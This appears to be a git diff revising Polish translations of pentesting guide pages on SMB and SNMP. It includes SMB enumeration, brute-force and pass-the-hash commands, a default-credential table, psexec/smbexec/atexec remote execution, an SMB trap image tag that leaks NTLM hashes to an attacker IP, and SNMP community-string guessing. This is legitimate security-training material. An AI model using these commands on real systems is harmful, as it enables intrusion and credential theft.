@@ -452,7 +456,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
 
 ## Kradzież NTLM
 
-Podobnie jak w przypadku SMB Trapping, umieszczanie złośliwych plików na docelowym systemie (za pośrednictwem SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku SMB relay](pentesting-smb.md#smb-relay-attack).
+Podobnie jak w przypadku pułapki SMB, umieszczanie złośliwych plików na docelowym systemie (przez SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku relay SMB](pentesting-smb.md#smb-relay-attack).
 
 [Zobacz: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
 
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index e4d7e3970..7dd960a18 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -4,23 +4,23 @@
 
 ## **Port 139**
 
-_**System Podstawowego Wejścia/Wyjścia Sieci**_\*\* (NetBIOS)\*\* to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci (LAN) interakcji z urządzeniami sieciowymi i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
+_**System Podstawowego Wejścia/Wyjścia Sieci**_** (NetBIOS)** to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci (LAN) interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji programowych działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
 ## Port 445
 
-Technicznie, Port 139 jest określany jako ‘NBT over IP’, podczas gdy Port 445 jest identyfikowany jako ‘SMB over IP’. Akronim **SMB** oznacza ‘**Server Message Blocks**’, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy na poziomie aplikacji, SMB/CIFS jest głównie wykorzystywany do umożliwienia wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
+Technicznie, port 139 jest określany jako ‘NBT over IP’, podczas gdy port 445 jest identyfikowany jako ‘SMB over IP’. Akronim **SMB** oznacza ‘**Server Message Blocks**’, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy na poziomie aplikacji, SMB/CIFS jest głównie wykorzystywany do umożliwienia wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
 
-Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność korzystania z NetBIOS przez TCP/IP, poprzez wykorzystanie portu 445. Z drugiej strony, w różnych systemach, obserwuje się użycie portu 139, co wskazuje, że SMB jest wykonywane w połączeniu z NetBIOS przez TCP/IP.
+Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność korzystania z NetBIOS przez TCP/IP, poprzez wykorzystanie portu 445. Z drugiej strony, w różnych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest wykonywane w połączeniu z NetBIOS przez TCP/IP.
 ```
 445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
 ```
 ### SMB
 
-Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje darmowe rozwiązanie programowe, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
+Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje rozwiązanie typu open source, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
 
-Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być widoczne dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
+Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być widoczne dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonanie`**, **`odczyt`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
 
 ### IPC$ Share
 
@@ -36,7 +36,7 @@ Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds.
 ```bash
 enum4linux -a target_ip
 ```
-Powyższe polecenie jest przykładem, jak `enum4linux` może być użyty do przeprowadzenia pełnej enumeracji przeciwko docelowemu adresowi określonemu przez `target_ip`.
+Powyższe polecenie jest przykładem, jak `enum4linux` może być użyty do przeprowadzenia pełnej enumeracji przeciwko docelowemu adresowi `target_ip`.
 
 ## Czym jest NTLM
 
@@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
 
 Aby szukać możliwych exploitów dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
 
-- Użyć modułu pomocniczego **MSF** \_**auxiliary/scanner/smb/smb_version**
+- Użyć modułu pomocniczego **MSF** `**auxiliary/scanner/smb/smb_version**`
 - Lub tego skryptu:
 ```bash
 #!/bin/sh
@@ -83,13 +83,13 @@ searchsploit microsoft smb
 
 | **Nazwa użytkownika** | **Typowe hasła**                          |
 | --------------------- | ----------------------------------------- |
-| _(puste)_             | _(puste)_                                 |
-| gość                  | _(puste)_                                 |
-| Administrator, admin  | _(puste)_, hasło, administrator, admin    |
-| arcserve              | arcserve, backup                          |
-| tivoli, tmersrvd      | tivoli, tmersrvd, admin                   |
-| backupexec, backup    | backupexec, backup, arcada                |
-| test, lab, demo       | hasło, test, lab, demo                    |
+| _(puste)_            | _(puste)_                                 |
+| gość                 | _(puste)_                                 |
+| Administrator, admin  | _(puste)_, hasło, administrator, admin   |
+| arcserve             | arcserve, backup                          |
+| tivoli, tmersrvd     | tivoli, tmersrvd, admin                   |
+| backupexec, backup   | backupexec, backup, arcada                |
+| test, lab, demo      | hasło, test, lab, demo                    |
 
 ### Atak Brute Force
 
@@ -161,7 +161,7 @@ rpcclient-enumeration.md
 
 `xdg-open smb://cascade.htb/`
 
-#### W oknie przeglądarki plików (nautilus, thunar, itd.)
+#### W oknie przeglądarki plików (nautilus, thunar, itp.)
 
 `smb://friendzone.htb/general/`
 
@@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H  [-P ] #Pass-t
 ```
 ### **Ręczne enumerowanie udziałów systemu Windows i łączenie się z nimi**
 
-Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta i gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do których można się połączyć. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesja null lub ważne poświadczenia). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
+Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta i gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do których można się połączyć. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, używając ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
 
 Typowe nazwy udziałów dla celów Windows to
 
@@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
 ### **Enumeruj udostępnienia z Windows / bez narzędzi firm trzecich**
 
 PowerShell
-```powershell
+```bash
 # Retrieves the SMB shares on the locale computer.
 Get-SmbShare
 Get-WmiObject -Class Win32_Share
@@ -298,9 +298,9 @@ Polecenia:
 
 (_Informacje z podręcznika smbclient_)
 
-### Wyszukiwanie folderów udostępnionych w domenie
+### Wyszukiwanie udostępnionych folderów w domenie
 
-- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
+- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
 Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```
@@ -313,8 +313,8 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
 Szczególnie interesujące z udziałów są pliki nazwane **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologowaniem** za pomocą zasad grupy. Lub pliki **`web.config`**, ponieważ zawierają dane uwierzytelniające.
 
 > [!NOTE]
-> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów batch, VBScript i PowerShell.\
-> Powinieneś **sprawdzić** **skrypty** w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
+> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów wsadowych, VBScript i PowerShell.\
+> Powinieneś **sprawdzić** skrypty w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
 
 ## Odczyt rejestru
 
@@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
 
 ### **crackmapexec**
 
-crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję preferujesz użyć za pomocą parametru `--exec-method`:
+crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję wolisz użyć za pomocą parametru `--exec-method`:
 ```bash
 apt-get install crackmapexec
 
@@ -378,7 +378,7 @@ crackmapexec smb  -d  -u Administrator -H  #Pass-The-Hash
 ```
 ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
 
-Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i wykorzystają ją do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** wskaże na **cmd.exe/powershell.exe** i w argumentach umieści ładunek --**technika bezplikowa-**-).\
+Obie opcje **tworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i wykorzystują ją do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** wskaże na **cmd.exe/powershell.exe** i w argumentach umieści ładunek --**technika bezplikowa-**-).\
 **Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
 W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
 ```bash
@@ -409,7 +409,7 @@ Używając **parametru** `-k`, możesz uwierzytelnić się za pomocą **kerberos
 ```
 ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
 
-Wykonaj polecenia za pomocą Harmonogramu zadań (używając _\pipe\atsvc_ przez SMB).\
+Wykonuj polecenia za pomocą Harmonogramu zadań (używając _\pipe\atsvc_ przez SMB).\
 W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
 ```bash
 ./atexec.py [[domain/]username[:password]@] "command"
@@ -426,14 +426,14 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
 nmap --script smb-brute -p 445 
 ridenum.py  500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
 ```
-## Atak SMB relay
+## Atak relay SMB
 
-Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelniania zakończy się sukcesem**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
+Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelnienia jest udana**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
 [**Więcej informacji na temat tego ataku tutaj.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
 ## SMB-Trap
 
-Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści za pośrednictwem SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
+Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
 
 Dzieje się to w przypadku funkcji:
 
@@ -452,7 +452,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
 
 ## Kradzież NTLM
 
-Podobnie jak w przypadku SMB Trapping, umieszczanie złośliwych plików na docelowym systemie (za pośrednictwem SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku SMB relay](#smb-relay-attack).
+Podobnie jak w przypadku pułapki SMB, umieszczanie złośliwych plików na docelowym systemie (przez SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku relay SMB](#smb-relay-attack).
 
 [Zobacz: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
 
diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
index 995debebd..60f398935 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -15,8 +15,8 @@ PORT    STATE SERVICE REASON                 VERSION
 
 ### MIB
 
-Aby zapewnić, że dostęp do SNMP działa w różnych producentów i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to plik **tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu\
-Pliki MIB są napisane w formacie tekstowym ASCII w `Abstract Syntax Notation One` (`ASN.1`). **MIB-y nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, jakie wartości zwracają dla konkretnego OID, lub jaki typ danych jest używany.
+Aby zapewnić, że dostęp do SNMP działa w różnych urządzeniach i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to plik **tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu.\
+Pliki MIB są napisane w formacie tekstowym ASCII w `Abstract Syntax Notation One` (`ASN.1`). **MIB-y nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, jakie wartości zwracają dla konkretnego OID lub jaki typ danych jest używany.
 
 ### OIDs
 
@@ -29,7 +29,7 @@ Ponadto, dostawcy mają swobodę tworzenia prywatnych gałęzi. W ramach tych ga
 ![](<../../images/SNMP_OID_MIB_Tree (1).png>)
 
 Możesz **nawigować** przez **drzewo OID** w sieci tutaj: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) lub **zobaczyć, co oznacza OID** (jak `1.3.6.1.2.1.1`) uzyskując dostęp do [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-Istnieją **znane OIDs** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) które odnoszą się do zmiennych Simple Network Management Protocol (SNMP) zdefiniowanych w MIB-2. A z **OID-ów zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
+Istnieją **znane OID-y** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zmiennych protokołu prostego zarządzania siecią (SNMP) zdefiniowanych w MIB-2. A z **OID-ów zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
 
 ### **Przykład OID**
 
@@ -39,20 +39,20 @@ Istnieją **znane OIDs** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.
 
 Oto analiza tego adresu.
 
-- 1 – nazywa się to ISO i ustala, że to jest OID. Dlatego wszystkie OID-y zaczynają się od „1”
+- 1 – nazywa się to ISO i ustala, że jest to OID. Dlatego wszystkie OID-y zaczynają się od „1”
 - 3 – nazywa się to ORG i służy do określenia organizacji, która zbudowała urządzenie.
 - 6 – to dod lub Departament Obrony, który jest organizacją, która jako pierwsza ustanowiła Internet.
 - 1 – to wartość internetu, aby oznaczyć, że wszystkie komunikacje będą odbywać się przez Internet.
-- 4 – ta wartość określa, że to urządzenie jest produkowane przez prywatną organizację, a nie rządową.
-- 1 – ta wartość oznacza, że urządzenie jest produkowane przez przedsiębiorstwo lub podmiot gospodarczy.
+- 4 – ta wartość określa, że to urządzenie zostało wyprodukowane przez prywatną organizację, a nie rządową.
+- 1 – ta wartość oznacza, że urządzenie zostało wyprodukowane przez przedsiębiorstwo lub podmiot gospodarczy.
 
-Te pierwsze sześć wartości zazwyczaj są takie same dla wszystkich urządzeń i dają podstawowe informacje o nich. Ta sekwencja liczb będzie taka sama dla wszystkich OID-ów, z wyjątkiem sytuacji, gdy urządzenie jest produkowane przez rząd.
+Te pierwsze sześć wartości zazwyczaj są takie same dla wszystkich urządzeń i dają podstawowe informacje o nich. Ta sekwencja liczb będzie taka sama dla wszystkich OID-ów, z wyjątkiem sytuacji, gdy urządzenie zostało wyprodukowane przez rząd.
 
 Przechodząc do następnego zestawu liczb.
 
 - 1452 – podaje nazwę organizacji, która wyprodukowała to urządzenie.
 - 1 – wyjaśnia typ urządzenia. W tym przypadku jest to budzik.
-- 2 – określa, że to urządzenie jest jednostką terminalową zdalnego dostępu.
+- 2 – określa, że to urządzenie jest jednostką terminalową zdalną.
 
 Pozostałe wartości podają szczegółowe informacje o urządzeniu.
 
@@ -76,20 +76,20 @@ Istnieją 2 ważne wersje SNMP:
 Jak wspomniano wcześniej, **aby uzyskać dostęp do informacji zapisanych w MIB, musisz znać ciąg społeczności w wersjach 1 i 2/2c oraz dane uwierzytelniające w wersji 3.**\
 Istnieją **2 typy ciągów społeczności**:
 
-- **`public`** głównie **tylko do odczytu**
-- **`private`** **Odczyt/Zapis** ogólnie
+- **`public`** głównie **funkcje tylko do odczytu**
+- **`private`** **Odczyt/Zapis** w ogólności
 
-Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że używany jest "**public**", możesz być w stanie **zapisać niektóre wartości.** Mogą również istnieć obiekty, które są **zawsze "tylko do odczytu".**\
-Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**.\*\*.\*\*
+Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że używany jest "**public**", możesz być w stanie **zapisać niektóre wartości.** Istnieją również obiekty, które są **zawsze "tylko do odczytu".**\
+Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**.
 
-W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer nie **odpowie**. Więc, jeśli odpowiada, użyto **ważnego ciągu społeczności**.
+W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer nie **odpowie**. Więc jeśli odpowiada, użyto **ważnego ciągu społeczności**.
 
 ## Porty
 
 [Z Wikipedii](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
 
 - Agent SNMP odbiera żądania na porcie UDP **161**.
-- Menedżer odbiera powiadomienia ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na porcie **162**.
+- Menedżer odbiera powiadomienia ([Pułapki](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na porcie **162**.
 - Gdy używany jest z [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) lub [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), żądania są odbierane na porcie **10161**, a powiadomienia są wysyłane na port **10162**.
 
 ## Atak Brute-Force na Ciąg Społeczności (v1 i v2c)
@@ -98,7 +98,7 @@ Aby **zgadnąć ciąg społeczności**, możesz przeprowadzić atak słownikowy.
 
 ## Enumeracja SNMP
 
-Zaleca się zainstalowanie następujących narzędzi, aby zobaczyć, co oznacza **każdy OID zebrany** z urządzenia:
+Zaleca się zainstalowanie następujących narzędzi, aby zobaczyć, co oznacza **każdy zebrany OID** z urządzenia:
 ```bash
 apt-get install snmp-mibs-downloader
 download-mibs
@@ -121,11 +121,11 @@ nmap --script "snmp* and not snmp-brute" 
 
 braa @:.1.3.6.* #Bruteforce specific OID
 ```
-Dzięki rozszerzonym zapytaniom (download-mibs) możliwe jest uzyskanie jeszcze więcej informacji o systemie za pomocą następującego polecenia:
+Dzięki rozszerzonym zapytaniom (download-mibs) możliwe jest uzyskanie jeszcze większej ilości informacji o systemie za pomocą następującego polecenia:
 ```bash
 snmpwalk -v X -c public  NET-SNMP-EXTEND-MIB::nsExtendOutputFull
 ```
-**SNMP** zawiera wiele informacji o hoście, a rzeczy, które mogą być interesujące, to: **Interfejsy sieciowe** (adresy **IPv4** i **IPv6**), Nazwy użytkowników, Czas działania, Wersja serwera/OS oraz **procesy**
+**SNMP** zawiera wiele informacji o hoście, a interesujące mogą być: **Interfejsy sieciowe** (adresy **IPv4** i **IPv6**), nazwy użytkowników, czas działania, wersja serwera/OS oraz **procesy**
 
 **działające** (mogą zawierać hasła)....
 
@@ -137,7 +137,7 @@ W dziedzinie zarządzania siecią, niektóre konfiguracje i parametry są kluczo
 
 Dwa główne ustawienia umożliwiają dostęp do **pełnego drzewa OID**, które jest kluczowym elementem w zarządzaniu siecią:
 
-1. **`rwuser noauth`** jest ustawione, aby zezwolić na pełny dostęp do drzewa OID bez potrzeby uwierzytelniania. To ustawienie jest proste i pozwala na nieograniczony dostęp.
+1. **`rwuser noauth`** jest ustawione, aby zezwolić na pełny dostęp do drzewa OID bez potrzeby uwierzytelnienia. To ustawienie jest proste i pozwala na nieograniczony dostęp.
 2. Dla bardziej szczegółowej kontroli, dostęp można przyznać za pomocą:
 - **`rwcommunity`** dla adresów **IPv4**, oraz
 - **`rwcommunity6`** dla adresów **IPv6**.
@@ -146,7 +146,7 @@ Obie komendy wymagają **ciągu społeczności** oraz odpowiedniego adresu IP, o
 
 ### Parametry SNMP dla Microsoft Windows
 
-Seria **wartości MIB (Management Information Base)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP:
+Seria **wartości Management Information Base (MIB)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP:
 
 - **Procesy systemowe**: Dostępne przez `1.3.6.1.2.1.25.1.6.0`, ten parametr pozwala na monitorowanie aktywnych procesów w systemie.
 - **Działające programy**: Wartość `1.3.6.1.2.1.25.4.2.1.2` jest przeznaczona do śledzenia aktualnie działających programów.
@@ -166,7 +166,7 @@ cisco-snmp.md
 
 ## Od SNMP do RCE
 
-Jeśli masz **ciąg**, który pozwala na **zapisywanie wartości** w usłudze SNMP, możesz być w stanie go nadużyć, aby **wykonywać polecenia**:
+Jeśli masz **ciąg**, który pozwala na **zapisywanie wartości** w usłudze SNMP, możesz być w stanie go nadużyć, aby **wykonać polecenia**:
 
 {{#ref}}
 snmp-rce.md
@@ -174,11 +174,11 @@ snmp-rce.md
 
 ## **Masowe SNMP**
 
-[Braa](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym użyciem takiego narzędzia jest, oczywiście, wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i skanuje BARDZO szybko.
+[Braa](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem tego narzędzia jest oczywiście wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i wykonuje skanowanie BARDZO szybko.
 
-Braa implementuje własny stos snmp, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
+Braa implementuje własny stos SNMP, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
 
-**Składnia:** braa \[Ciąg społeczności\]@\[\[IP serwera SNMP\]:\[\[iso id\]
+**Składnia:** braa \[Ciąg społeczności]@\[IP serwera SNMP]:\[iso id]
 ```bash
 braa ignite123@192.168.1.125:.1.3.6.*
 ```
@@ -188,13 +188,13 @@ Zatem poszukajmy najbardziej interesujących informacji (z [https://blog.rapid7.
 
 ### **Urządzenia**
 
-Proces zaczyna się od wyodrębnienia **danych MIB sysDesc** (1.3.6.1.2.1.1.1.0) z każdego pliku w celu zidentyfikowania urządzeń. Osiąga się to za pomocą **polecenia grep**:
+Proces zaczyna się od wyodrębnienia **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) z każdego pliku w celu zidentyfikowania urządzeń. Osiąga się to za pomocą **grep command**:
 ```bash
 grep ".1.3.6.1.2.1.1.1.0" *.snmp
 ```
 ### **Zidentyfikuj Prywatny String**
 
-A crucial step involves identifying the **private community string** used by organizations, particularly on Cisco IOS routers. This string enables the extraction of **running configurations** from routers. The identification often relies on analyzing SNMP Trap data for the word "trap" with a **grep command**:
+Krytycznym krokiem jest zidentyfikowanie **prywatnego stringu społeczności** używanego przez organizacje, szczególnie na routerach Cisco IOS. Ten string umożliwia wydobycie **aktualnych konfiguracji** z routerów. Identyfikacja często opiera się na analizie danych SNMP Trap w poszukiwaniu słowa "trap" za pomocą **polecenia grep**:
 ```bash
 grep -i "trap" *.snmp
 ```
@@ -206,7 +206,7 @@ grep -i "login\|fail" *.snmp
 ```
 ### **Emaile**
 
-Na koniec, aby wyodrębnić **adresy e-mail** z danych, używana jest **komenda grep** z wyrażeniem regularnym, koncentrując się na wzorcach, które pasują do formatów e-mail:
